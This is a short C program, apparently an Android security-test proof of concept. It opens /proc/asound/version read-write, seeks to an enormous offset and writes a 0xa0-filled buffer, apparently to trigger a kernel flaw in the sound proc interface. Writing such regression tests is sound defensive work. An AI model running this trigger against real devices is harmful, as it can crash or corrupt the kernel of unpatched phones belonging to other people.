1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #include <string.h> 17 #include <stdio.h> 18 #include <stdlib.h> 19 #include <unistd.h> 20 #include <sys/prctl.h> 21 #include <sys/syscall.h> 22 #include <sys/types.h> 23 #include <pthread.h> 24 #include <fcntl.h> 25 #include <sys/stat.h> 26 #include <semaphore.h> 27 #include <sys/socket.h> 28 #include <sys/mman.h> 29 #include <signal.h> 30 #include <sys/wait.h> 31 #include <sys/ioctl.h> 32 #include <sys/utsname.h> 33 #include <sys/ptrace.h> 34 35 char buf[4096]; 36 37 int main(int argc, char const *argv[]){ 38 memset(buf, 0xa0, sizeof(buf)); 39 40 int fd = open("/proc/asound/version", O_RDWR); 41 if(fd != -1){ 42 lseek(fd, 0x1234567800000000, SEEK_SET); 43 write(fd, buf, sizeof(buf)); 44 }else{ 45 perror("open error\n"); 46 } 47 close(fd); 48 return 0; 49 }
